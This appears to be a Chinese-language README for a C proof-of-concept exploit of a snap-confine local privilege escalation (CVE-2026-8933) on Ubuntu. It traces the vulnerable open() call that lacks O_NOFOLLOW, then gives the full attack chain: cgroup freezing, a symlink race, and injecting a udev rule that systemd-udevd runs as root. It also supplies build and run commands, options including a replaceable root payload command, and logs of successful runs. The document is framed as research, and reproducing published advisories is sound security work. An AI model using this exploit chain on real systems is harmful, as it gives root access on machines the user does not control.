
C proof-of-concept for CVE-2026-8933, a snap-confine local privilege escalation using cgroup freezing, symlink races, and udev rule injection to execute commands as root.
复现 Qualys 公告《Local Privilege Escalation in set-capabilities versions of snap-confine》(https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt)。
在本机(Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / 内核 6.17)实测:从 uid 1000
出发,最终由 systemd-udevd 以 root 执行命令,/tmp/pwned 得到
uid=0(root) gid=0(root) groups=0(root),与公告最后演示的效果一致。
复现过程中的踩坑记录、以及第一次评估为什么误判"不可利用",见 NOTES.md。
| 文件 | 说明 |
|---|---|
poc.c | 完整 PoC(单文件) |
Makefile | 构建(链接系统已安装的 libfuse3.so.3.17.4) |
include/ | libfuse3 3.17.4 头文件(匹配系统运行时库) |
NOTES.md | 踩坑记录 + 可达性分析方法论复盘 |
cmd/snap-confine/mount-support.c(snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
行号取自本机 snapd 2.73 的源码(cmd/snap-confine/mount-support.c)。Qualys
公告引用的是它自己那份文件副本,对应的行号是 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 —— 语句一一对应,只是行号不同。
本机的 /usr/lib/snapd/snap-confine 是 mode=755 + file capabilities(不是
setuid-root),因此它以攻击者的 euid 运行、却持有近 root 的能力:它创建的目录和
文件在一小段时间内属于攻击者,而第 418 行的 open() 会跟随符号链接。
反汇编确认:本机 open@plt 的标志位是 0x240(O_CREAT|O_TRUNC,无
O_NOFOLLOW);已修复的 2.77.1 同一点为 0x20240。
systemd-run --user --scope --unit=snap.<snap>.<app>。该 scope 属于当前用户,cgroup.freeze 可写,
于是可以逐个系统调用地放行 snap-confine。SNAPD_DEBUG=1 时 snap-confine 会打印
associated snap application process ... with device cgroup。该行出现在
设备 cgroup 的 BPF 程序 attach 之后、mkdtemp() 之前。不能更早冻结:
BPF 校验器在存在 freeze trap 时返回 EAGAIN,snap-confine 会直接退出。
stderr 接的是一个 pty(不是管道):否则 stdio 会块缓冲,marker 往往等到
mkdtemp() 和 bind mount 之后才被冲出来。
另外 scope 以 CPUQuota=1% 启动:从 marker 到 mkdtemp() 只有几百微秒的
CPU 时间,与抓取进程的唤醒延迟同量级;限流把这段窗口在真实时间里拉长到
毫秒级,冻结确认后立刻把 cpu.max 恢复到 100%。mount(2) 会跟随目标
路径里的符号链接,于是 snap-confine 的 bind/unbindable/tmpfs 全都落在
<scratch>.dA 上,而复制循环仍然使用 scratch 目录这个字符串。ns_mount_count(sc, .dA) >= 2)后,把符号链接改指
<scratch>.dB,并在 dB 里放进与 base rootfs 顶层普通文件同名的符号链接,
指向 /run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules。此时复制循环
的路径解析落到 dB —— 一个我们能完全控制的普通目录。tmpfs 被留在 dA,不再
妨碍我们。
注意:.dA 上只有 1 个挂载时是 bind mount(/tmp 本身就是 tmpfs,bind 后
fstype 仍是 tmpfs),必须等到第 2 个挂载(真正的 tmpfs)出现才能改指,否则
snap-confine 的 mount --make-unbindable 会因为路径不再是挂载根而 EINVAL。open(O_CREAT|O_TRUNC)(跟随符号链接,以 root 身份在 /run/udev/rules.d
下创建文件),随后 fchown(fd,0,0)。文件在这一瞬间仍属于我们。PoC 同时用
两种手段:
stat() 看到文件
且 uid 仍是自己,立刻 chmod 0666 + 写入 udev 规则(此时 snap-confine
被冻结,窗口被"撑开");chmod() 热循环抢占同一个窗口。spinner 抢到
之后文件是 root 所有但模式为 0666 —— 模式位在 fchown(0,0) 之后依然
保留,所以主路径同样能把它写完(代码里判断的是"能不能写",不是"是不是
属主")。/run/udev/** rw。
挂载/卸载一个 FUSE 文件系统会让内核为 bdi 子系统发出 add uevent,
systemd-udevd 随即以 root 执行规则里的 PROGRAM=。make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
参数:
| 参数 | 说明 |
|---|---|
--snap NAME | 用哪个 snap 的 rootfs(默认 firefox,也可用环境变量 CVE8933_SNAP) |
--app NAME | 该 snap 的 app(默认取 meta/snap.yaml 里 apps: 下的第一个) |
--file NAME | 只用 base rootfs 里的这一个普通文件;没有匹配就报错退出 |
--attempts N | 尝试次数(默认 5) |
--step US / --step2 US | 两个阶段的每片 CPU 时间(微秒),调试用 |
--keep | 保留 <scratch>.dA / .dB 目录和符号链接(调试用) |
--diagnose | 只读自检 |
--cleanup | 清理历史残留(需要 root) |
日志写入 /tmp/cve8933.log,snap-confine 的调试输出写入
/tmp/cve8933-debug.txt。
CVE8933_PAYLOAD_CMD='<shell 命令>' 可以替换 payload 主体(用于演示执行其它
root 命令),此时不会自动清理;自定义命令仍然要写 /tmp/pwned,否则 PoC 会
认为这次没有成功。
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
/tmp/cve8933.log 中对应的一次成功过程(2026-10-23,改动后复测):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."
(早先一次 8 次尝试的运行是第 2 次才成功:第 1 次的冻结确认太晚,snap-confine 在同一个时间片里跑过了 bind mount。)
/run/udev/rules.d/ 中曾短暂出现:
-rw-rw-rw- 1 root root 73 ... 97-cve-2026-8933-85431-485b.rules
内容为 ACTION=="add", SUBSYSTEM=="bdi", PROGRAM="/tmp/cve-2026-8933-payload.sh",
udevd 日志确认已加载("marked world-writable ... Proceeding anyway"),payload
以 root 执行。
第 5 步的窗口(open() 与 fchown() 之间)只有一两个系统调用宽。主路径
(freezer 单步 + 冻结时接管)在多数尝试中成功;偶尔冻结确认得晚,snap-confine
会在同一时间片内跑过 bind mount,该次尝试直接失败并重试。默认 5 次尝试;
实测连续三次运行分别在 2、1、2 次尝试内成功。把 --attempts 调大即可。
正常运行时 PoC 自清理:payload 以 root 身份卸载 snap-confine 传播出来的所有
/tmp/snap.rootfs_* 挂载、删除这些目录、删除 /run/udev/rules.d/97-cve-2026-8933*.rules
和两个脚本。测试前先记录基线,跑完逐项核对,实测每次成功运行后:
mounts under /tmp/snap.rootfs_*: 0
leftover directories: 0
/run/udev/rules.d: 只有 90-netplan.rules / 99-netplan-ens33.rules
/etc/passwd md5: 24c3aa8f7b7bdf6fa770b46601abc1a0(未改变)
user scopes: 0
唯一有意保留的是 /tmp/pwned(root 所有,即公告演示中的证据文件)。删除它需要
root:sudo ./poc --cleanup。
如果多次尝试全部失败(例如系统负载很高),可能残留若干 /tmp/snap.rootfs_*
挂载和目录;sudo ./poc --cleanup 会一并清掉。
本 PoC 仅用于漏洞研究与验证:
id > /tmp/pwned 并自清理,不修改任何凭据文件
(/etc/passwd、/etc/shadow 均未触碰,md5 可核对);